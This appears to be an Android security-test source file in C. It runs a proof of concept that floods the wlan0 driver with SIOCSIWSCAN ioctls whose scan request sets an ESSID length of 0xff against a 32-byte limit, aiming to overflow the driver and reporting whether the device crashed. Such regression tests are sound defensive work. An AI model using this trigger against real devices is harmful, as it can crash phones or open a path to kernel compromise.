blob: 90ea13a68dc9aec24e588d87e0e33144048b1639 [file] [log] [blame]
/**
* Copyright (C) 2017 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <android/log.h>
#include <dirent.h>
#include <dlfcn.h>
#include <errno.h>
#include <fcntl.h>
#include <jni.h>
#include <limits.h>
#include <net/if.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/types.h>
#include <unistd.h>
#define AID_INET 3003 /* can create AF_INET and AF_INET6 sockets */
#define AID_NET_RAW 3004 /* can create raw INET sockets */
#define AID_NET_ADMIN 3005
#define SIOCSIWPRIV 0x8B0C
#define SIOCGIWNAME 0x8B01
#define SIOCGIWRANGE 0x8B0B
#define SIOCSIWSCAN 0x8B18
#define SIOCSIWSPY 0x8B10
#define IW_ESSID_MAX_SIZE 32
#define IW_MAX_FREQUENCIES 32
#define SIR_MAC_MAX_SSID_LENGTH 32
#define IW_SCAN_THIS_ESSID 0x0002
typedef int __s32;
typedef unsigned char __u8;
typedef unsigned short __u16;
struct iw_param {
__s32 value; /* The value of the parameter itself */
__u8 fixed; /* Hardware should not use auto select */
__u8 disabled; /* Disable the feature */
__u16 flags; /* Various specifc flags (if any) */
};
struct iw_point {
void *pointer; /* Pointer to the data (in user space) */
__u16 length; /* number of fields or size in bytes */
__u16 flags; /* Optional params */
};
struct iw_quality {
__u8 qual; /* link quality (%retries, SNR,
%missed beacons or better...) */
__u8 level; /* signal level (dBm) */
__u8 noise; /* noise level (dBm) */
__u8 updated; /* Flags to know if updated */
};
struct iw_freq {
__s32 m; /* Mantissa */
__s16 e; /* Exponent */
__u8 i; /* List index (when in range struct) */
__u8 flags; /* Flags (fixed/auto) */
};
union iwreq_data {
/* Config - generic */
char name[IFNAMSIZ];
/* Name : used to verify the presence of wireless extensions.
* Name of the protocol/provider... */
struct iw_point essid; /* Extended network name */
struct iw_param nwid; /* network id (or domain - the cell) */
struct iw_freq freq; /* frequency or channel :
* 0-1000 = channel
* > 1000 = frequency in Hz */
struct iw_param sens; /* signal level threshold */
struct iw_param bitrate; /* default bit rate */
struct iw_param txpower; /* default transmit power */
struct iw_param rts; /* RTS threshold threshold */
struct iw_param frag; /* Fragmentation threshold */
__u32 mode; /* Operation mode */
struct iw_param retry; /* Retry limits & lifetime */
struct iw_point encoding; /* Encoding stuff : tokens */
struct iw_param power; /* PM duration/timeout */
struct iw_quality qual; /* Quality part of statistics */
struct sockaddr ap_addr; /* Access point address */
struct sockaddr addr; /* Destination address (hw/mac) */
struct iw_param param; /* Other small parameters */
struct iw_point data; /* Other large parameters */
};
struct iwreq {
union {
char ifrn_name[IFNAMSIZ];
} ifr_ifrn;
union iwreq_data u;
};
struct iw_scan_req {
__u8 scan_type;
__u8 essid_len;
__u8 num_channels;
__u8 flags;
struct sockaddr bssid;
__u8 essid[IW_ESSID_MAX_SIZE];
__u32 min_channel_time; /* in TU */
__u32 max_channel_time; /* in TU */
struct iw_freq channel_list[IW_MAX_FREQUENCIES];
};
int main(void) {
int fd;
int ret = -2;
struct iwreq prIwReq;
int i = 0;
struct iw_scan_req *scan_req;
if (getuid() != 0)
return -1;
gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
setuid(2000);
fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd == -1) {
perror("[-] socket failed!\n");
return -1;
}
strncpy(prIwReq.ifr_name, "wlan0", IFNAMSIZ);
prIwReq.ifr_name[IFNAMSIZ - 1] = '\0';
scan_req = (struct iw_scan_req *)malloc(sizeof(struct iw_scan_req) + 0xff);
memset(scan_req, 0xff, sizeof(struct iw_scan_req) + 0xff);
scan_req->essid_len = 0xff;
prIwReq.u.data.length = sizeof(struct iw_scan_req);
prIwReq.u.data.pointer = scan_req;
prIwReq.u.data.flags = IW_SCAN_THIS_ESSID;
for (i = 0; i < 0x1000; ++i) {
errno = 0;
ret = ioctl(fd, SIOCSIWSCAN, &prIwReq);
printf(" try %d times, %s crashed ? \n", i, strerror(errno));
}
return 0;
}